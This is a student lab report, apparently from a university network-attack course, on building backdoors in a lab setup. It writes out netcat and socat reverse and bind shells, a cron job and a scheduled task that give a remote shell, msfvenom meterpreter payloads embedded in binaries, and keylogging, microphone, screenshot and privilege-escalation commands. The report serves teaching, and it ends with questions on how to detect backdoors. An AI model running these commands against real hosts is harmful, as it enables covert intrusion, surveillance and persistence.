2019-2020-2 20175202葛旭阳《网络对抗技术》 Exp2 后门原理与实践

Posted gexvyang

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2019-2020-2 20175202葛旭阳《网络对抗技术》 Exp2 后门原理与实践相关的知识,希望对你有一定的参考价值。

2019-2020-2 20175202葛旭阳《网络对抗技术》 Exp2 后门原理与实践

一、实验任务

1.使用netcat获取主机操作Shell,cron启动;
2.使用socat获取主机操作Shell, 任务计划启动;
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell;
6.基础问题回答。

二、实验步骤

【常用后门工具】

Windows获得Linux Shell

1.在Windows的cmd中输入ipconfig,得到本机的IP地址为192.168.3.14;
技术图片

2.在附件中现在ncat并解压,然后在cmd中进入ncat所在文件夹,输入ncat.exe -l -p 5202打开监听;
技术图片

3.在Kali中输入命令nc 192.168.3.14 5202 -e /bin/sh来反弹链接Windows;
4.我们在Windows中成功获得了Linux Shell,如下图;
技术图片

Linux获得Windows Shell

1.在Kali中root模式下,使用ifconfig来查看IP地址,为:192.168.40.129;
技术图片

2.在Kali中使用nc -l -p 5202来监听5202端口;
技术图片

3.在Windows中反向连接Kali主机的5202端口,我们在Linux中成功获得了Windows Shell,如下图;
技术图片

使用nc来传输数据

1.在Winodws下监听5202端口,在Kali下连接到Windows的5202端口;
技术图片

2.连接成功,可以使用nc来传输数据了,效果如下图;
技术图片

socat

1.socat,是linux下的一个工具,可以看做netcat的加强版。的确如此,它有一些netcat所不具备却又很有需求的功能,例如ssl连接这种。nc可能是因为比较久没有维护,而socat可以。
2.socat可以当作cat使用,也可以当作netcat来使用。
3.socat也是实现SSL连接,fork服务器和不同设备的通信。

Meterpreter

1.Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能。
2.基本指令:help查看Meterpreter帮助,background返回,bgkill杀死一个背景,bglist提供所有正在运行的后台脚本的列表,bgrun作为一个后台线程运行脚本,channel显示活动频道,sessions -i number与会话进行交互,sesssions -k number与会话进行交互,close关闭通道,exit终止 meterpreter 会话,interact id切换进一个信道。

【任务一:使用netcat获取主机操作Shell,cron启动】

1.在Windows中,使用ncat.exe -l -p 5202来监听5202端口;
技术图片

2.在Kali中,使用crontab -e指令来编辑定时任务;
技术图片

3.我们在输出最后添加30 * * * * /bin/netcat 192.168.3.14 5202 -e /bin/sh;这样每个小时的第30分钟会反向连接Windows主机的5202端口;
技术图片

4.我们时间到达10:30,此时Windows中可以输入指令了,如下;
技术图片

【任务二:使用socat获取主机操作Shell, 任务计划启动】

1.首先下载socat并解压;
2.右击此电脑选择管理,选择任务计划程序,再选择创建任务
技术图片

3.选择操作,然后选择新建操作程序或脚本中添加socat.exe的文件路径,添加参数tcp-listen:5202 exec:cmd.exe,pty,stderr,把cmd.exe绑定到端口5202端口上 ,同时把cmd.exestderr重定向到stdout上;
技术图片

4.选择触发器,然后新建,选择按预定计划,将开始时间适当延后1~2分钟即可,如下图;
技术图片

5.随后我们设置一个名称,当创建完成后,我们选择任务计划程序库就可以看到准备就绪的触发器;
技术图片

6.等到我们设置的开始时间10:49时,socat自动开始运行;
技术图片
7.我们在Kali环境下输入指令socat - tcp:192.168.3.14:5202,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5205端口,此时可以发现已经成功获得了一个cmd shell,如下图;
技术图片

【任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell】

1.在Kali环境中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=5202 -f exe > 20175202_backdoor.exe,生成了后门程序20175202_backdoor.exe
技术图片

2.我们输入ncat.exe -lv 5202 > 20175202_backdoor.exe指令将被控制主机进入接受文件模式
技术图片

3.我们在Kali中输入nc 192.168.3.14 5202 < 20175202_backdoor.exe指令;
技术图片

4.我们在Windows打开ncat所在文件夹,发现文件传输成功,如下;
技术图片

5.我们在Kali中使用msfconsole指令进入msf控制台;
技术图片
6.我们使用use exploit/multi/handler进入监听模块,设置set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload set LHOST 192.168.40.129set LPORT 5202,同样要使用相同的端口,show options,查看详细信息;
技术图片

7.我们输入exploit开始监听,然后我们在Windows中运行后门程序20175202_backdoor.exe,之后再Kali中输入dir可以查看在Windows中20175202_backdoor.exe所在目录下的文件信息;
技术图片

【任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权】

1.在Kali环境中输入record_mic -d 5指令可以截获时长为5s的一段音频,如下;
技术图片
技术图片
2.使用keyscan_start指令记录下击键的过程,之后在Windows中进行任意输入,然后使用keyscan_dump指令来读取击键记录;
技术图片
技术图片
3.使用screenshot指令进行截屏,截屏成功,如下;
技术图片
技术图片
4.使用getuid指令来查看当前用户,查看成功,如下;
技术图片
5.使用getsystem指令尝试提权,成功,如下;
技术图片

【加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell】

1.实验指导书中的指令,如下;
msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
2.我们进入到实验一的文件夹/175202/exp1中;
技术图片
3.LHOST表示Kali的IP地址,因此,模仿指导书中的指令,我们的指令修改为;
msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.40.129 LPORT=443 -f exe > KiTTy_backdoor.exe
4.LPORT表示Kali中的端口,因此,我们进一步将指令修改为;
msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.40.129 LPORT=5202 -f exe > KiTTy_backdoor.exe
5.因为我们运行的文件为pwn1,文件的类型为elf,因此我们将代码修改为;
msfvenom -p windows/meterpreter/reverse_tcp -x ./pwn1 -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.40.129 LPORT=5202 -f elf > KiTTy_backdoor.exe
6.我们将生成的文件命名为pwn6,因此我们将代码修改为;
msfvenom -p windows/meterpreter/reverse_tcp -x ./pwn1 -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.40.129 LPORT=5202 -f elf > pwn6
7.我们将-i 5 -b ‘x00’部分删掉,否则出现了报错,调整输入,因此我们将代码修改为;
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=5202 -x pwn1 -f elf > pwn6
8.在一个终端中输入msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=5202 -x pwn1 -f elf > pwn6指令,之后再另一个终端中输入exploit进行监听,输入ls显示内容,如下;
技术图片

三、实验过程中遇到的问题

1.问题:输入命令后,出现错误提示,如下;
技术图片

解决:后来发现是因为没有进入/1752021exp1文件夹中,不存在pwn1文件,进入后,重新输入命令,成功,如下;
技术图片

2.问题:在Kali中,输入ncat xxx指令,提示未找到指令,如下;
技术图片
解决:将ncat xxx修改为,加入指令,解决了问题,如下;
技术图片

四、问题的回答

1.例举你能想到的一个后门进入到你系统中的可能方式?
回答:下载的软件中捆绑了后门程序。
2.例举你知道的后门如何启动起来(win及linux)的方式
回答:在Windows中:和Windows的一些开机自启动项进行捆绑,开机时可以自启动,也可以通过修改Windows的注册表项。在Linux中:通过crontab 设置定时启动,捆绑注入shellcode
3.Meterpreter有哪些给你映像深刻的功能?
回答:植入后门后,他可以可以直接记录我的击键,甚至录音、录像、截屏,我觉得最恐怖的是录音和截屏功能,这甚至可以轻松获取用户口令,让人的隐私暴漏无疑。
4.如何发现自己有系统有没有被安装后门?
回答:首先,可以通过杀毒软件进行扫描,定期检测系统。其次,可以查看开机自启动项,检查自启动项中是否有异常。也可以在cmd中用netstat -na查看端口开放情况。

五、实验心得与体会

后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。之前就一直对后门有所耳闻,但从没见识过他的强大功能。在做这次实验时,我使用了最简单的后门,通过仅有的一些很简单的命令,就实现了非常强大恐怖的功能,甚至可以窃取摄像头、录音权限,这又强大的危害性。我就在两天前,安装专业版PDF时,就出现了问题,再次启动时,弹出了小鸟壁纸、今日热点等很多很多的自启动程序。做完这次实验后,我感到更加可怕,以后会更加注意网络安全。

以上是关于2019-2020-2 20175202葛旭阳《网络对抗技术》 Exp2 后门原理与实践的主要内容,如果未能解决你的问题,请参考以下文章

2019-2020-2 20175202葛旭阳《网络对抗技术》 Exp7 网络欺诈防范

2019-2020-2 20175202葛旭阳《网络对抗技术》 Exp7 网络欺诈防范

2019-2020-2 20175202葛旭阳《网络对抗技术》 Exp4 恶意代码分析

2019-2020-2 20175202葛旭阳《网络对抗技术》 Exp6 MSF基础应用

2019-2020-1 20175202 20175204 20175216 《信息安全系统设计基础》实验三 并发程序

2019-2020-1 20175202 20175204 20175216 《信息安全系统设计基础》 实验四 外设驱动程序设计